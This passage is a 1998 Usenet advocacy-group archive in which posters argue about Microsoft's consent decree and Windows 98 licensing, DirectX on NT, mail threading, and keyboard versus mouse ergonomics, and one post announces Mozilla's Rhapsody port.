the breadth that might exist a year after Windows 98 ships as a platform.
It's possible the hardware vendors are waiting for Windows 98 so that they
can ride on its coattails.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 21:13:23 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ir7p2$nt$1@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net><6imcmk$oj1$3@ligarius.ultra.net><01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM><6ioone$clv$5@ligarius.ultra.net><slrn6l0942.114.ghickenNOSPAM@ghicken.smart.net><6ippm0$4lb$1@news0-alterdial.uu.net> <slrn6l0fc5.1ke.ghickenNOSPAM@ghicken.smart.net>
Gary J. Hicken wrote in message ...
>On Wed, 6 May 1998 08:48:54 -0500, M. Kilgore <mkilgore@nospam.prysm.net>
wrote:
>>
>>Gary J. Hicken wrote in message ...
>>:On Wed, 6 May 1998 00:19:16 -0400, John Saunders <jws@jws.ultranet.com>
>>wrote:
>>:>
>>:>You can't (legally) buy OSR2 for an existing machine. If you have an
>>:>existing machine and you want some of these features, then you need
>>Windows
>>:>98. I agree that if you buy a new machine you may have little use for
>>:>Windows 98.
>>:
>>:I wonder if the DOJ happens to read this stuff. This sure doesn't help
M$.
>>
>>
>>Actually, to buy a legal copy of OSR2 all one need do is by a new hard
>>drive at the same time. I think the intent of MS was to avoid a potential
>>service nightmare as those who didn't really understand what they were
>>doing tried to convert FAT16 volumes to FAT32. But just because I can
think
>>of a good reason for not putting FAT32 in general distribution doesn't
mean
>>that I enjoyed being locked out of FAT32 because other people would screw
>>the installation. It's like when my cable company had a price increase...
I
>>asked why since the service had not been improved. The answer I got was
>>"Well, you'd be suprised how many times we have to go out and tune our
>>customers' tv sets for them." BULLSHIT!
>>
>>mark
>>
>>
>
>If I bought a copy of Windows98 (if/when it becomes available,) wouldn't I
>run into that problem? Or are we never to see "Windows98 Upgrade" on the
>store shelves?
The issue does not arise.
There used to be two retail packages of Windows 95: one for those upgrading
from Windows 3.0, 3.1 or WfW 3.11 (maybe others as well?) and another for
new customers. Both of these packages installed the same software. I gather
Microsoft intends to do the same thing with Windows 98.
The OSR2 release being discussed here is not a retail release, intended for
end-users. "OSR2" stands for OEM Service Release 2. It is an update to the
OEM release of Windows 95. The OEM releases differ in several ways from the
retail packages, especially with respect to tools for OEMs to use to
pre-install the software on new machines.
I gather that the license for an OEM release dictates that the software is
not to be sold except with a new system (some here say motherboard or hard
disk). If this is true in general, then it would certainly be true of OSR2,
and so you can't just go out and pick it up off the shelves.
On the other hand, if you buy a new machine with the software installed on
it, you're all set.
Thanks,
John Saunders
jws@jws.ultranet.com
(running on a laptop with OSR2 on it)
>--
>
> Gary Hicken
> Redhat 5.0 Linux kernel 2.0.31
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 21:57:14 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ir7ua$14g$1@nnrp1.dejanews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu>#1/1
Bob,
I see that you are aware of some FACTS about the DOJ's case against
Microsoft. Good, but let's explore a little further...
> Given that, MS admitted no wrongdoing to the half dozen or more
> allegations that led up to the consent decree, yet they agreed to the
> consent decree. So MS *did* do those things, but not officially. Let's not
> confuse facts and history here...
>
Half a dozen?
As understand it, the principle complaint was Microsoft's practice of
"per-processor licensing". This is where Microsoft gave favorable terms
to OEMs that agreed to pay licensing fees based on ALL the PCs they shipped.
The legality or illegality of this practice has never been determined.
Rather than take the chance, Microsoft agreed to stop this practice.
There were questions about "Vaperware", but the DOJ argued forcefully
that the was no evidence of illegal behavior concerning this area.
It was not addressed in the Consent Agreement.
Their was also an accusation that Microsoft was forcing OEMs to license
MSDOS in order to get licenses for Windows. This resulted in the infamous
Section IV (i) of the consent agreement. According to Microsoft, they
agreed to the licensing restriction ONLY after they were assured they
could "integrate" the two separate products into one product (Windows95).
That is three accusations and only two were addressed in the consent decree.
Can you name three or four more?
<snip>
> >Oh, really? During which session and in re: which appeal did the
> >Supreme Court make such a ruling?
>
> It's called a precedent. It's a handy little thing that allows us to not
> have to rule on every instance of a case, rather on a single class and
> then argue that it should be applied to any given instance.
>
> While the supreme court has not, AFAIK, ruled _clearly_ on the issue, they
> have ruled in a manner that suggests they would extend it to this case, if
> it even needed to go that far.
>
> The precedent invovlved a case in the medical industry that suggested that
> two actions (operations IIRC) performed at one time and billed at one time
> was in fact one service. The Supreme Court ruled that if the marketplace
> considered each action itself to be a separate and distinct action,
> regardless of whether it has a cost associated with it, that it was not
> one service but rather two (or more).
>
> The extension to MS would be that if the _marketplace_ considers a browser
> to be a separate product from an OS, that even if MS doesn't charge for
> it, it is in fact a separate product. So that in this case MS would be
> bundling a separate product with it's OS and be in violation of the
> consent decree.
>
> The argument stems around whether the marketplace considers a browser to
> be a product in and of itself and whether this definition should be
> applied to software.
>
You have fairly summarized Judge Thomas Penfield Jackson reference in his
motion at http://web.lawcrawler.com/microsoft/usdoj/cases/ms121197.html
It makes for a GREAT anti-trust argument, but it is significantly weaker
in a contract law case (IMO). Even Judge Jackson conceded "Microsoft's
interpretation of Section IV(E)(i) is plausible in light of the
circumstances surrounding the negotiation of the consent decree".
Microsoft is pointing to Webster's dictionary and saying the agreement
prohibits them from tying one product to another UNLESS they are packaged
together as an "integrated product".
In Contract Law the real question is what did the parties agree to when
they signed. If the signers understood "integrated product" to mean
"two or more software products in the same package" that is what the
agreement means, regardless of what the Supreme Court rules.
So, what was agreed to in 1994? Was it what Microsoft suggests or...
A. "Microsoft is prohibited from tying two products together unless they
are one product as defined by anti-trust laws."
B. "Microsoft is prohibited from tying two products together, but they can
develop Integrated Products as long as they also provide a non-integrate
version of the OS."
C. "Microsoft is prohibited from tying two products together unless the
added product is a newly developed function integrated into the existing
OS."
D. "Microsoft is prohibited from tying two products together unless the
industry generally agrees the combination of the two products makes sense."
E. "Microsoft is probitited from tying two products together unless they
are packaged together as an integrated package as long as the non-OS product
is not also marketed separately by Microsoft."
The DOJ has argued all of the above definitions. Microsoft has been
consistently adhering to the one "plausible" definition throughout this
case. How do YOU interpret the following words...
(E) Microsoft shall not enter into any License Agreement in
which the terms of that agreement are expressly or impliedly
conditioned upon:
(1)the licensing of any other Covered Product, Operating
System Software product or other product (provided, however, that
this provision in and of itself shall not be construed to prohibit
Microsoft from developing integrated products)
By the way, I believe the DOJ's current definition is "E". See
http://www.usdoj.gov/atr/cases3/micros/1582.htm
starting with...
"Microsoft is permitted by the proviso to develop any integrated product
it wishes without violating Section IV(E)(i)..."
I have heard one consistent argument against Microsoft's arguments.
That is Microsoft's interpretation of the "integrated products" phrase
severly weakens this section's effectivity. This is true, but it is
also true that the DOJ was more interested in "per processor" licensing
then in this side issue. In short, I believe the DOJ agreed with Microsoft
in 1994. They are now trying to fix that decision and rallying industrial
and political muscle to support their bending of laws and district court
rules.
> -Bob Cassidy
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Date: Thu, 07 May 1998 00:05:26 -0500
From: jinx6568@sover.net (Chris Johnson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <jinx6568-0705980005270001@usr2a34.bratt.sover.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <jinx6568-0605980316060001@usr2a35.bratt.sover.net> <6ipuo8$606$2@strato.ultra.net> <joe.ragosta-0605981315210001@wil103.dol.net>
Organization: Airwindows
In article <joe.ragosta-0605981315210001@wil103.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6ipuo8$606$2@strato.ultra.net>, "John Saunders"
> <jws@jws.ultranet.com> wrote:
> > Chris Johnson wrote in message ...
> > > The message?
> > > "We'll trigger economic disaster, see that it is a real problem, and
> > >then blame it all on the DoJ! Sure, this tactic will do heavy damage to
> > >the U.S. economy and possibly the world's economy- but if we can trigger
> > >this NOW and make it look like it's the DoJ's fault for restricting us,
> > >maybe they will give us our monopoly back!"
> >
> > You just lost me here. In what way is Microsoft causing the economic
> > problem? I'm sure they'd prefer not to be sued.
>
> I think there's some justification for Chris' comments.
> Look at the latest market share figures. The share of the top 5 vendors
> has increased dramatically. I don't remember the exact percentage, but the
> "other" category dropped by almost half. A lot of these "other" companies
> are going to have problems.
> Meanwhile, Compaq's earnings nearly disappeared. Many other companies in
> the industry are having problems.
> The industry grew incredibly fast and it looks like that growth is going
> to taper off. With Compaq, et al being aggressive about inexpensive PCs, a
> lot of people are going to be hurt. Chris' comment (if I understand it) is
> that MS is trying to distance itself from the carnage. They're blaming
> everyone else.
They are setting up the situation so they can say 'Look, you enforced
the law and look what happened! Lot of companies destroyed, Y2K problems
everywhere, no innovation in PC-land- yup, the DoJ CAUSED all this.' The
next step would be trying to get, effectively, a popular revolt that
_puts_ them back in their monopolistic position, hopefully with a
emotional backlash that hands them the total communications dominance they
want on a silver platter.
Unless you don't think MS plans for all contingencies in marketing?
It might almost be better to let W98 go out and _die_ in the market
like it's liable to. A lot of PC owners are now sitting out the upgrade
cycles, having had enough of that for a lifetime. I've personally seen one
guy turn to an additional old used Mac partly through _refusal_ to put any
more money into his not-especially-distinguished PC that has had upwards
of $10,000 put into it over the course of several years (this includes
software and hardware that did not work and now sits on top of his
plastisol inks cabinet)
Jinx_tigr
(aka Chris Johnson)
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Pointcast and Apple?
Date: Wed, 06 May 1998 22:14:07 -0700
Organization: Digital Universe Corporation
Message-ID: <3551431F.B4B493B4@alum.mit.edu>
References: <kalivoda-0605981403490001@defiant.cssites.uga.edu> <6ir3s0$8n9$1@ha2.rdc1.nj.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Chris Van Buskirk wrote:
> Simply because push technology is dead. Way dead. Whats
> next...XML?
I'm not sure about that. Even though my lowly 28.8 connection is too slow for most "push" technology, I think it has the potential
to be a useful thing, especially for budding daytrader on-line investors. I think as cable modems propagate, we'll see more push
technology. I do think that standards have to be put into place to avoid bandwidth abuses.
Eric
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Keyboarden and Mousen
Date: Wed, 06 May 1998 23:20:56 -0700
Organization: Trilithon Research and Trading
Message-ID: <355152C7.14176E3D@trilithon.com>
References: <6iptqc$4f3$2@ironhorse.plsys.co.uk> <B17604A2-45B5C@206.165.43.51>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Lawson English wrote
As an aside [no offense intended to Lawson] people please
learn to spell Fitts correctly --- it's not like there's a
dearth of research reports available going back to 1954.
* . . . any time you stop typing and use your fingers
* to access controls on the keyboard, there is a measurable
* pause in your thinking process as you switch contexts.
* This pause is considerably shorter when you stop typing
* and reach for the mouse since you are not using the same
* movements to accomplish two different tasks.
Possibly good point.
* Video tapes of people using keyboard controls show that
* they pause for a goodly length of time even though the
* test subjects swear that they are not pausing (I forget
* how long it is).
Well, why not look it up?
* Add THAT datum into the mix, and you'll see why I don't
* trust your first-hand experience, OR mine, for that
* matter. The only way to settle this would be to do
* some test runs with video cameras.
I'm not sure you can settle the matter with video cameras.
I've used keyboard-driven time-sharing systems [Univac,
CDC NOS, UNIX]. I've used keyboard-driven personal
systems [CP/M, DOS, etc --- mine, all mine, har har].
I've used mouse-driven systems [Lisa, Mac, Sun, Apollo,
Xerox, Windows, etc].
I have a conjecture, based on my experiences with time-
sharing systems. I throw these ideas out for this impartial
quant-based group to consider.
Users [people] are goal focussed.
Keyboard-oriented users break their goal down into
a bunch of tasks [sub-goals], each of which can
be accomplished by typing a specific command at the
keyboard --- the user in effect makes a kind
of mental "to do" list of the tasks required to
obtain the goal.
I now submit that it is the preparation of the list
of sub-goals that accounts for the "pause of a goodly
length of time" that you refer to above.
I know from my experience that this is precisely how
I work on keyboard and command driven systems. I have
also observed many other command line wizards in action.
They all work the same way --- pauses followed by intense
bursts of typing.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8mwxi.1ws8gti1emn8k9N@roxboro0-028.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <geordie-0505981708370001@130.130.117.53> <usomn71tm.fsf@ai.mit.edu> <6iqsv5$h86$2@cronkite.cygnus.com>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Thu, 07 May 1998 05:48:39 GMT
NNTP-Posting-Date: Wed, 06 May 1998 22:48:39 PDT
John Rudd <jrudd@cygnus.com> wrote:
> In <usomn71tm.fsf@ai.mit.edu> portnoy@ai.mit.edu wrote:
> > geordie@chapman.com (Geordie Korper) writes:
> >
> > > Mail News
> > >
> > > little categorization highly categorized
> > > rarely threaded mostly threaded
> > > low volume high volume
> > > mostly signal mostly noise
> > > high priority low priority
> >
> > Unless, of course, you subscribe to mailing lists:
> >
> > Mailing Lists
> > highly categorized
> > mostly threaded
> > high volume
> > mostly signal
> > low priority
> >
>
> Since when are mailing lists threaded?
Since the invention of the In-Reply-To header.
> Sure, you cary a subject line forward, but there is NO way to track which
> mail message is a reference to which previous mail message.. there is no
> notion of a "refs" header in email. Even if there is one message that has no
> "Re:" lead in teh subject, you don't know that the first "Re:" message refers
> directly to that message.. you may not have recieved an intervening message.
> You don't know. With news, by tracking the references you can in fact tell
> wether or not a message directly follows another message. This is the whole
> point and concept of threading.
>
> Mail has _NO_ such thing.
Actually it does. It's not very useful for the majority of your
messages, but it is useful with mailing list.
As I said elsewhere in this thread - I've written a perl/AS script to
take my mailing list and put it into a soup file and then I read the
list in my newsreader (MacSOUP).
This isn't perfect - there are a couple of people that use mailers that
don't include the In-Reply-To header, and there are a couple of people
that route the messages into local newsgroups and use newsreaders and
their newsreaders has problems with the References header (one guy's
newsreader puts the immediate precursor as the FIRST message-id -
fortunately it also uses all caps for the header name, which nobody else
does).
This works fairly well, and the occasional message without a InTo header
or a references header is equivalent to the user who's newsreader
doesn't include the References in a regular newsgroup.
Still, unless it's sent to a gateway (and to a newsgroup that isn't just
local) the difference is still the number of intended recipients (hell a
lot of mailing list could be handled quite easily without a actual
listserver - just set the mail agent to reply to all recipients and have
a way of easily sending a message to a large number of people [anything
which allows you to drag addresses into the headers]).
--
John Moreno
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
From: phenix@interpath.com (John Moreno)
Message-ID: <1d8mxoz.1mamdaebboh62N@roxboro0-028.dyn.interpath.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6io37n$hdg$1@new-news.cc.brandeis.edu> <rmcassid-0505981552450001@dante.eng.uci.edu>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Thu, 07 May 1998 05:48:42 GMT
NNTP-Posting-Date: Wed, 06 May 1998 22:48:42 PDT
Robert Cassidy <rmcassid@uci.edu> wrote:
> In article <6io37n$hdg$1@new-news.cc.brandeis.edu>, xray@cs.brandeis.edu
> (Nathan G. Raymond) wrote:
>
> >Eudora 3 is showing its age, though I like the ease with which I can pull
> >in UNIX mailboxes, I hate its search engine. Eudora 4 is bloatware.
> >Overall I like ClarisEmailer 2.0v3, but the difficulty of importing and
> >exporting mailboxes, and the slowness of Applescript for doing things like
> >marking messages read (the user should not have to wait minutes for it to
> >chew through a few hundred messages marking them), and the somewhat
> >cluttered filter interface make using it problematic (though the find is
> >good).
>
> Don't use the applescript to mark messages read, use the contextual menu
> to do it instead. **Much** faster. Until 8.2 that is...
>
> Importing and exporting mailboxes is a pain in the ass, agreed. The filter
> interface is a bit cluttered, but quite functional. Best of all, however,
> is being able to trigger an AS with an incoming message or to schedule
> execution of an AS. Nothing else I know of does this, and it is quite
> wonderful as there is no provision for hooking into an OS level service on
> the MacOS (which would be better, IMO).
Schedule a execution of a an AS?
I've got a perl/AS script that grabs messages that go into my mailing
list folder and puts them into a soup file for importing into MacSOUP
and one of the things I've considered is to have the messages converted
as soon as a connection is done - but I haven't figured out how to do
it. As it is the script has to be run by hand and I tend to let it
slide until I have 10-15 messagses (where it takes a minute or two
because AS is dog slow).
BTW - if anybody is interested the script (modified for working with
Eudora) was recently posted to comp.sys.mac.comm.
--
John Moreno
From: portnoy@ai.mit.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 06 May 1998 12:54:51 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <uvhrj731g.fsf@ai.mit.edu>
References: <6ip03a$di9$1@crib.bevc.blacksburg.va.us> <B1759745-221A2@206.165.43.102>
"Lawson English" <english@primenet.com> writes:
> Actually, some research suggests that when one uses keyboard
> controls of any kind, it generally takes longer than using
> mouse-driven controls.
Please actually read the research you want to quote. Those results
are for general input of items, where the mouse controls can be
represented on-screen for most of the operation time, (and those
results are *still* often disputed). It does not hold for many more
specific operations (imagine what would be quicker -- typing on a
keyboard or mousing an on-screen keyboard).
A situation in which there is a volume control on the keyboard,
labelled as such, or even a volume dial on a speaker next to the
monitor, *will* be faster than a mouse control that is currently
hidden on a shrunken control strip. It's the difference between one
action to operate a control, and two (open tab, operate control).
> This may not apply to the control strip because Fitz' Law (?) works
> differently for a floating tab then for a menu bar, but without objective
> numbers, I'm willing to bet even money that it is just as fast, if not
> faster, to use the control strip.
I'd bet the opposite.
BTW, Fitt's law is not just for menus. It's for getting to any point,
anywhere, regardless of whether it's on a computer screen or not.
Fitt's law will work extremely well for accessing the tab, because
it's right in the bottom corner of the screen, and makes a very nice
backstop. Unfortunately, traversing to the volume control after you
expand it will slow you down a fair amount.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 06 May 1998 22:53:15 -0700
Organization: Trilithon Research and Trading
Message-ID: <35514C4B.DE4FE36@trilithon.com>
References: <6io74v$cuc$1@crib.bevc.blacksburg.va.us> <B175052E-165DC1@206.165.43.143> <slrn6l1bvd.ftg.mbkennel@lyapunov.ucsd.edu>
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Matt Kennel wrote:
* Sure. They're much more useful than the CAPS LOCK and
* 'Print Screen/SysRq' and 'Scroll Lock' and 'Pause' and
* three "Windows iconish" buttons which infest every PC keyboard.
Gosh, now that you mention it, there are all these weirdo keyboard
buttons --- I wonder what they do, uh, . . . . . aaaarrrrrggggghhhhh
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Thu, 07 May 1998 09:15:39 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <3551DE2B.1967@zvw._REMOVE_THIS_de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <3550A11D.7A@zvw._REMOVE_THIS_de> <6iq6mm$e4g$1@newsfep1.sprintmail.com>
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Pinochet wrote:
> >And further on, how do I use my 3dfx under DirectX 5 for NT4?
>
> I haven't the foggiest idea as I don't know much about 3DFX's..
> Still you could just try to find the DX5 patch for NT and see if it
works.
AFAIK, DirectX under NT does not have Direct3d support for ANY 3d
hardware.
IMO, that is unaccaptable.
> >Yes, I nearly only use windows for games, so if I want to play new
> >games, I will need it.
>
> MAYBE. Depends on which version of DirectX the game uses, and
> if MS doesn't come up with a patch for DX6 on 95...
New games will most likely use dx6 and I doubt that dx6 will be fully
supported on 95 and also that new hadrware will be supported.
> DX6 will be done, finished, planned, set up, completed on NT5 first,
> then this will be moved over to W98 and a patch released so that
> everyone can enjoy it. Don't know about W95 or earlier versions of
> NT..
So Microsoft will develop DX6 on NT, but then release it on W98 first?
Why?
> > > Nope. Sorry, you don't have to buy 95 if you can live without
*some*
> >games now,
> >
> >Now, what is the alternative?
>
> ? Living without those games?
Because of the Microsoft Monopoly (tm) ? That is the alternative. That
would be great since I could completely wipe every windows off my
harddisk.
> >I don't have to buy 98 *yet*, exactly, but I *will* have to buy it
when
> >DX6 is out,
>
> Will you? Only if DX6 isn't ported to your current OS. Entirely
> possible, but not certain..
Do you really think Microsoft didn't see this? They will use some tricks
to make new games incompatible to 95. You will see this for sure!
> >or I have to choose NT, depending upon where dx6 will be
> >out first.
>
> Nope. You can buy NT5, or 98 either one, as MS fully intends
> DX6 to run well on both.
Like on 95 and NT4? DirectX on NT4 is CRAP.
> > Now I am not sure that one will need only one of them.
>
> Of course you can't be entirely sure, but you can look at what
> MS and others report on the situation.
Do you believe in Microsoft?
> > If they are totally exchangable, why does Microsoft make both?
>
> The same reason W95 still contains a lot of DOS code, because
> MS feels many of their customers aren't ready for the shift to NT
> yet....though by the next generation, the two trees will be united..
"the shift to NT"? I doubt that this is the reason.
> > And even if they do, they
> >will use some trick to force me to buy 98 or (and?) NT5, like not
> >supporting new hardware any more or things like that.
>
> Um, MS doesn't do diddly about supporting new hardware, that would
> be the responsibility of the hardware manufacturer, not MS.
Ok, this may be correct. But they could do some version of DX6 that
is not able to support the hardware, by leaving out some important
features. (Like the 3d hardware support on DX for NT4)
> >I meant that MS could release each version of
> >DirectX on another OS (swapping between NT and WinXX) so you ever
have
> >to get both. And for me it looks like they are doing such things.
>
> It doesn't to me. One they patched DX3(and previous versions) to
work on
> NT, two DirectX 6, will, according to MS, be fully functional on both
OSes,
Hope so...
> and three, MS fully intends to kill the 9X branch of Windows after this last
> iteration.
Ok. That's right. I like to see their new neat marketing strategy then.
M$
will find another way to get your money.
> > > >Don't you see that they will not do this because they want you
to
> >buy the next version of NT?
> > >
> > > I see that is possible. I don't see it as certain.
> >
> >I see it as nearly certain.
>
> Fine, I can live with that.
I also can live with it, but I would live more happily without it.
> > > Wrong. While in limited groups MS might be hated, in others,
people
> > > just don't give a shit..
> >
> >This does not have to do something with newsgroups are whatever
groups
> >you meant. It is a general tendency.
>
> Proof please? Surveys, Polls, things like that....no self-selected
ones
> mind
> you, but you don't have to provide something of the quality of a
Gallup..
Sorry, I don't have any statistics, it was only my oppinion. It seems
that
nearly everytime I hear about Microsoft or about Windows, be it from my
friends, in the University where I study (computer engineering), at
work,
on the web,... it seems that everywhere there are complaints. Don't you
experience the same?
about it. There are some Microsoft fans left,
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Thu, 7 May 1998 03:34:25 -0500
Organization: KAOS
Message-ID: <199805070334253561052@sdn-ts-010txhousp04.dialsprint.net>
References: <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <199805020131472899965@sdn-ts-002txhousp16.dialsprint.net> <6ifqeo$eke$1@xmission.xmission.com> <199805060146341748300@sdn-ts-002txhousp05.dialsprint.net> <joe.ragosta-0605980751380001@wil124.dol.net>
Joe Ragosta wrote:
> Hmmm. "Stubborn and lashing out without giving due consideration"?
>
> Coming from John Bauer (one of the voices of reason in this group), that
> merits attention.
>
> I promise--I'll try to be good. It's just so darn _hard_ some times.
Well, I did say "*can* be." I've lashed out without giving due
consideration many times myself (because, as you say, it's so hard not
to sometimes) -- but I usually end up clicking "delete" instead of
"send." ;-)
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 7 May 1998 03:34:23 -0500
Organization: KAOS
Message-ID: <199805070334233560925@sdn-ts-010txhousp04.dialsprint.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com> <6hhht9$57p$15@ironhorse.plsys.co.uk> <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca> <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <6im4k2$9vj$1@crib.bevc.blacksburg.va.us> <B174BA20-68F78@207.217.155.172> <6inrso$sfm$1@news.digifix.com> <B174E97A-11AF54@207.217.155.172> <6iolmn$7sm$1@news.digifix.com>
Scott Anguish wrote:
> Brad Hutchings wrote:
>
> >I guess we'll all see what Apple's plan of the quarter is next
> >week. I'll be totally surprised if it involves a Mac product line
> >separate from the Rhapsody product line. In that case, especially
> >when repeat Mac buyers are keeping Apple afloat (and will for some
> >time), why would Apple alienate those buyers by moving toward a
> >system-wide HI they are not accustomed to?
>
> Largely because there is a huge base of discontented Windows
> users, and no shortage of unhappy Mac users...
Yeah, but it's not our Macs that make us unhappy -- it's that huge base
of discontented Windows users who refuse to change platforms. ;-)
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: Chris McAfee <mcafee@netscape.com>
Newsgroups: comp.sys.next.advocacy
Subject: Update: Rhapsody port of Mozilla
Date: Thu, 07 May 1998 01:41:12 -0700
Organization: M O Z I L L A . O R G
Message-ID: <355173A8.269D1D2A@netscape.com>
Mime-Version: 1.0
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The mozilla port is underway:
news://netscape.public.mozilla.rhapsody
news://news.mozilla.org/netscape.public.mozilla.rhapsody
http://www.mozilla.org/ports/rhapsody
Back-end has started to come together, UI is next.
See you on mozilla.org,
-Chris
mcafee@netscape.com
Unix Communicator
From: perfecto@ct2.nai.net (Perry.Fecteau@Republican.COM)
